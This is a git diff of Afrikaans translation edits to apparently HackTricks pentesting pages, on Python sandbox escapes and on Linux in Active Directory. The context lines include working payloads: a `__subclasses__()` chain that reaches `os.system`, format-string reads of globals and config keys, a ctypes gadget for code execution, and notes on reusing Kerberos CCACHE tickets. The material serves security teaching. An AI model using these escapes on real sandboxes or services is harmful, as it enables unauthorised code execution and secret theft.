[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
|
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
|
||||||
```
|
```
|
||||||
[**Hieronder is 'n groter funksie**](./#recursive-search-of-builtins-globals) om tientalle/**honderde** **plekke** te vind waar jy die **globals** kan vind.
|
[**Hieronder is daar 'n groter funksie**](./#recursive-search-of-builtins-globals) om tientalle/**honderde** **plekke** te vind waar jy die **globals** kan vind.
|
||||||
|
|
||||||
## Ontdek Arbitraire Uitvoering
|
## Ontdek Arbitrêre Uitvoering
|
||||||
|
|
||||||
Hier wil ek verduidelik hoe om maklik **meer gevaarlike funksies** te ontdek wat gelaai is en meer betroubare exploits voor te stel.
|
Hier wil ek verduidelik hoe om maklik **meer gevaarlike funksies** te ontdek wat gelaai is en meer betroubare exploits voor te stel.
|
||||||
|
|
||||||
|
@ -459,7 +469,7 @@ Byvoorbeeld, om te weet dat met die biblioteek **`sys`** dit moontlik is om **ar
|
||||||
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
|
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
|
||||||
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
|
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
|
||||||
```
|
```
|
||||||
Daar is baie, en **ons het net een** nodig om opdragte uit te voer:
|
Daar is baie, en **ons het net een nodig** om opdragte uit te voer:
|
||||||
```python
|
```python
|
||||||
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
|
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
|
||||||
```
|
```
|
||||||
|
@ -702,12 +712,12 @@ Let op hoe jy **toegang kan verkry tot eienskappe** op 'n normale manier met 'n
|
||||||
|
|
||||||
Neem ook kennis dat jy `.__dict__` kan gebruik om elemente van 'n objek op te som `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
Neem ook kennis dat jy `.__dict__` kan gebruik om elemente van 'n objek op te som `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||||
|
|
||||||
Sommige ander interessante eienskappe van formaat stringe is die moontlikheid om **funksies** **`str`**, **`repr`** en **`ascii`** in die aangeduide objek uit te voer deur **`!s`**, **`!r`**, **`!a`** onderskeidelik by te voeg:
|
Sommige ander interessante eienskappe van formaat stringe is die moontlikheid om **uit te voer** die **funksies** **`str`**, **`repr`** en **`ascii`** in die aangeduide objek deur **`!s`**, **`!r`**, **`!a`** onderskeidelik by te voeg:
|
||||||
```python
|
```python
|
||||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
|
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
|
||||||
get_name_for_avatar(st, people_obj = people)
|
get_name_for_avatar(st, people_obj = people)
|
||||||
```
|
```
|
||||||
Boonop, dit is moontlik om **nuwe formatteraars** in klasse te **kodeer**:
|
Boonop is dit moontlik om **nuwe formateerders** in klasse te **kodeer**:
|
||||||
```python
|
```python
|
||||||
class HAL9000(object):
|
class HAL9000(object):
|
||||||
def __format__(self, format):
|
def __format__(self, format):
|
||||||
|
@ -752,10 +762,10 @@ As herinnering, elke keer wanneer 'n aksie in python uitgevoer word, word 'n fun
|
||||||
|
|
||||||
Jy kan meer hiervan vind in die afdeling [**Python uitvoering sonder oproepe**](./#python-execution-without-calls).
|
Jy kan meer hiervan vind in die afdeling [**Python uitvoering sonder oproepe**](./#python-execution-without-calls).
|
||||||
|
|
||||||
'n Python formaat string kwesbaarheid laat nie toe om 'n funksie uit te voer nie (dit laat nie toe om haakies te gebruik nie), so dit is nie moontlik om RCE te kry soos `'{0.system("/bin/sh")}'.format(os)`.\
|
'n Python formaat string kwesbaarheid laat nie toe om funksies uit te voer nie (dit laat nie toe om haakies te gebruik nie), so dit is nie moontlik om RCE te kry soos `'{0.system("/bin/sh")}'.format(os)`.\
|
||||||
Tog, dit is moontlik om `[]` te gebruik. Daarom, as 'n algemene python biblioteek 'n **`__getitem__`** of **`__getattr__`** metode het wat arbitrêre kode uitvoer, is dit moontlik om dit te misbruik om RCE te verkry.
|
Tog, dit is moontlik om `[]` te gebruik. Daarom, as 'n algemene python biblioteek 'n **`__getitem__`** of **`__getattr__`** metode het wat arbitrêre kode uitvoer, is dit moontlik om dit te misbruik om RCE te verkry.
|
||||||
|
|
||||||
Soek na 'n gadget soos dit in python, die skrywe stel hierdie [**Github soekquery**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28\_\_getitem\_\_%7C\_\_getattr\_\_%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F\&type=code) voor. Waar hy hierdie [een](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/\_\_init\_\_.py#L463) gevind het:
|
Soek 'n gadget soos dit in python, die skrywe stel hierdie [**Github soeknavraag**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28\_\_getitem\_\_%7C\_\_getattr\_\_%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F\&type=code) voor. Waar hy hierdie [een](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/\_\_init\_\_.py#L463) gevind het:
|
||||||
```python
|
```python
|
||||||
class LibraryLoader(object):
|
class LibraryLoader(object):
|
||||||
def __init__(self, dlltype):
|
def __init__(self, dlltype):
|
||||||
|
@ -783,7 +793,7 @@ Hierdie toestel laat toe om 'n **biblioteek vanaf die skyf** te **laai**. Daarom
|
||||||
```
|
```
|
||||||
Die uitdaging misbruik eintlik 'n ander kwesbaarheid in die bediener wat toelaat om arbitrêre lêers in die bediener se skyf te skep.
|
Die uitdaging misbruik eintlik 'n ander kwesbaarheid in die bediener wat toelaat om arbitrêre lêers in die bediener se skyf te skep.
|
||||||
|
|
||||||
## Ontleding van Python-objekte
|
## Ontleed Python-Objekte
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
As jy wil **leer** oor **python bytecode** in diepte, lees hierdie **wonderlike** pos oor die onderwerp: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
As jy wil **leer** oor **python bytecode** in diepte, lees hierdie **wonderlike** pos oor die onderwerp: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||||
|
@ -811,7 +821,7 @@ dir(get_flag) #Get info tof the function
|
||||||
```
|
```
|
||||||
#### globals
|
#### globals
|
||||||
|
|
||||||
`__globals__` en `func_globals` (Dieselfde) Verkry die globale omgewing. In die voorbeeld kan jy 'n paar ingevoerde modules, 'n paar globale veranderlikes en hul inhoud sien wat verklaar is:
|
`__globals__` en `func_globals` (Dieselfde) Verkry die globale omgewing. In die voorbeeld kan jy 'n paar ingevoerde modules, 'n paar globale veranderlikes en hul inhoud gesien word:
|
||||||
```python
|
```python
|
||||||
get_flag.func_globals
|
get_flag.func_globals
|
||||||
get_flag.__globals__
|
get_flag.__globals__
|
||||||
|
@ -838,7 +848,7 @@ compile("print(5)", "", "single")
|
||||||
dir(get_flag.__code__)
|
dir(get_flag.__code__)
|
||||||
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
|
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
|
||||||
```
|
```
|
||||||
### Verkryging van Kode Inligting
|
### Verkryging van Kode-inligting
|
||||||
```python
|
```python
|
||||||
# Another example
|
# Another example
|
||||||
s = '''
|
s = '''
|
||||||
|
@ -912,7 +922,7 @@ dis.dis(get_flag)
|
||||||
44 LOAD_CONST 0 (None)
|
44 LOAD_CONST 0 (None)
|
||||||
47 RETURN_VALUE
|
47 RETURN_VALUE
|
||||||
```
|
```
|
||||||
Let op dat **as jy nie `dis` in die python sandbox kan invoer nie**, jy die **bytecode** van die funksie (`get_flag.func_code.co_code`) kan verkry en dit lokaal kan **ontleed**. Jy sal nie die inhoud van die veranderlikes wat gelaai word (`LOAD_CONST`) sien nie, maar jy kan dit raai vanaf (`get_flag.func_code.co_consts`) omdat `LOAD_CONST` ook die offset van die veranderlike wat gelaai word, aandui.
|
Let wel dat **as jy nie `dis` in die python sandbox kan invoer nie**, kan jy die **bytecode** van die funksie (`get_flag.func_code.co_code`) verkry en dit **ontleed** dit plaaslik. Jy sal nie die inhoud van die veranderlikes wat gelaai word (`LOAD_CONST`) sien nie, maar jy kan dit raai vanaf (`get_flag.func_code.co_consts`) omdat `LOAD_CONST` ook die offset van die veranderlike wat gelaai word, aandui.
|
||||||
```python
|
```python
|
||||||
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
|
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
|
||||||
0 LOAD_CONST 1 (1)
|
0 LOAD_CONST 1 (1)
|
||||||
|
@ -936,8 +946,8 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
|
||||||
```
|
```
|
||||||
## Compiling Python
|
## Compiling Python
|
||||||
|
|
||||||
Nou, kom ons stel ons voor dat jy op een of ander manier **die inligting oor 'n funksie kan dump wat jy nie kan uitvoer nie** maar jy **moet** dit **uitvoer**.\
|
Nou, kom ons stel ons voor dat jy op een of ander manier **die inligting oor 'n funksie wat jy nie kan uitvoer nie** kan **dump**, maar jy **moet** dit **uitvoer**.\
|
||||||
Soos in die volgende voorbeeld, jy **kan toegang kry tot die kode objek** van daardie funksie, maar net deur die disassemble te lees, **weet jy nie hoe om die vlag te bereken nie** (_verbeel jou 'n meer komplekse `calc_flag` funksie_)
|
Soos in die volgende voorbeeld, jy **kan toegang kry tot die kode objek** van daardie funksie, maar net deur die disassemble te lees, **weet jy nie hoe om die vlag te bereken nie** (_stel jou 'n meer komplekse `calc_flag` funksie voor_)
|
||||||
```python
|
```python
|
||||||
def get_flag(some_input):
|
def get_flag(some_input):
|
||||||
var1=1
|
var1=1
|
||||||
|
@ -950,7 +960,7 @@ return calc_flag("VjkuKuVjgHnci")
|
||||||
else:
|
else:
|
||||||
return "Nope"
|
return "Nope"
|
||||||
```
|
```
|
||||||
### Die kode objek skep
|
### Creating the code object
|
||||||
|
|
||||||
Eerstens moet ons weet **hoe om 'n kode objek te skep en uit te voer** sodat ons een kan skep om ons funksie te voer wat gelek het:
|
Eerstens moet ons weet **hoe om 'n kode objek te skep en uit te voer** sodat ons een kan skep om ons funksie te voer wat gelek het:
|
||||||
```python
|
```python
|
||||||
|
@ -1037,7 +1047,7 @@ f(42)
|
||||||
```
|
```
|
||||||
## Decompiling Compiled Python
|
## Decompiling Compiled Python
|
||||||
|
|
||||||
Met die gebruik van gereedskap soos [**https://www.decompiler.com/**](https://www.decompiler.com) kan 'n mens gegewe gecompileerde python kode **decompile**.
|
Met die gebruik van gereedskap soos [**https://www.decompiler.com/**](https://www.decompiler.com) kan 'n mens **decompile** gegewe gecompileerde python kode.
|
||||||
|
|
||||||
**Kyk na hierdie tutoriaal**:
|
**Kyk na hierdie tutoriaal**:
|
||||||
|
|
||||||
|
@ -1049,7 +1059,7 @@ Met die gebruik van gereedskap soos [**https://www.decompiler.com/**](https://ww
|
||||||
|
|
||||||
### Assert
|
### Assert
|
||||||
|
|
||||||
Python wat met optimalisering uitgevoer word met die parameter `-O` sal assert stellings en enige kode wat voorwaardelik is op die waarde van **debug** verwyder.\
|
Python wat met optimalisering uitgevoer word met die param `-O` sal assert verklarings en enige kode wat voorwaardelik is op die waarde van **debug** verwyder.\
|
||||||
Daarom, kontroles soos
|
Daarom, kontroles soos
|
||||||
```python
|
```python
|
||||||
def check_permission(super_user):
|
def check_permission(super_user):
|
||||||
|
@ -1070,6 +1080,14 @@ will be bypassed
|
||||||
* [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html](https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html)
|
* [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html](https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html)
|
||||||
* [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
|
* [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
|
||||||
|
|
||||||
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
||||||
|
|
||||||
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
||||||
|
|
||||||
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Leer & oefen AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
Leer & oefen AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Leer & oefen GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Leer & oefen GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
@ -1079,8 +1097,8 @@ Leer & oefen GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" da
|
||||||
<summary>Ondersteun HackTricks</summary>
|
<summary>Ondersteun HackTricks</summary>
|
||||||
|
|
||||||
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Deel hacking truuks deur PR's in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,31 +1,35 @@
|
||||||
# Linux Active Directory
|
# Linux Active Directory
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Support HackTricks</summary>
|
<summary>Ondersteun HackTricks</summary>
|
||||||
|
|
||||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Deel hacking truuks deur PR's in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
|
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
'n Linux masjien kan ook teenwoordig wees binne 'n Active Directory omgewing.
|
'n Linux masjien kan ook teenwoordig wees binne 'n Active Directory omgewing.
|
||||||
|
|
||||||
'n Linux masjien in 'n AD mag **verskillende CCACHE kaartjies binne lêers stoor. Hierdie kaartjies kan gebruik en misbruik word soos enige ander kerberos kaartjie**. Om hierdie kaartjies te lees, moet jy die gebruiker-eienaar van die kaartjie wees of **root** binne die masjien.
|
'n Linux masjien in 'n AD mag **verskillende CCACHE kaartjies binne lêers stoor. Hierdie kaartjies kan gebruik en misbruik word soos enige ander kerberos kaartjie**. Om hierdie kaartjies te lees, moet jy die gebruiker-eienaar van die kaartjie wees of **root** binne die masjien.
|
||||||
|
|
||||||
## Enumeration
|
## Enumerasie
|
||||||
|
|
||||||
### AD enumeration from linux
|
### AD enumerasie vanaf linux
|
||||||
|
|
||||||
As jy toegang het oor 'n AD in linux (of bash in Windows) kan jy probeer [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) om die AD te enumerate.
|
As jy toegang het oor 'n AD in linux (of bash in Windows) kan jy probeer [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) om die AD te enumerate.
|
||||||
|
|
||||||
Jy kan ook die volgende bladsy nagaan om te leer **ander maniere om AD van linux te enumerate**:
|
Jy kan ook die volgende bladsy nagaan om te leer **ander maniere om AD vanaf linux te enumerate**:
|
||||||
|
|
||||||
{% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %}
|
{% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %}
|
||||||
[pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md)
|
[pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md)
|
||||||
|
@ -33,13 +37,13 @@ Jy kan ook die volgende bladsy nagaan om te leer **ander maniere om AD van linux
|
||||||
|
|
||||||
### FreeIPA
|
### FreeIPA
|
||||||
|
|
||||||
FreeIPA is 'n oopbron **alternatief** vir Microsoft Windows **Active Directory**, hoofsaaklik vir **Unix** omgewings. Dit kombineer 'n volledige **LDAP gids** met 'n MIT **Kerberos** Sleutelverspreidingsentrum vir bestuur soortgelyk aan Active Directory. Dit gebruik die Dogtag **Sertifikaatsisteem** vir CA & RA sertifikaatbestuur, en ondersteun **multi-faktor** verifikasie, insluitend slimkaarte. SSSD is geïntegreer vir Unix verifikasieprosesse. Leer meer daaroor in:
|
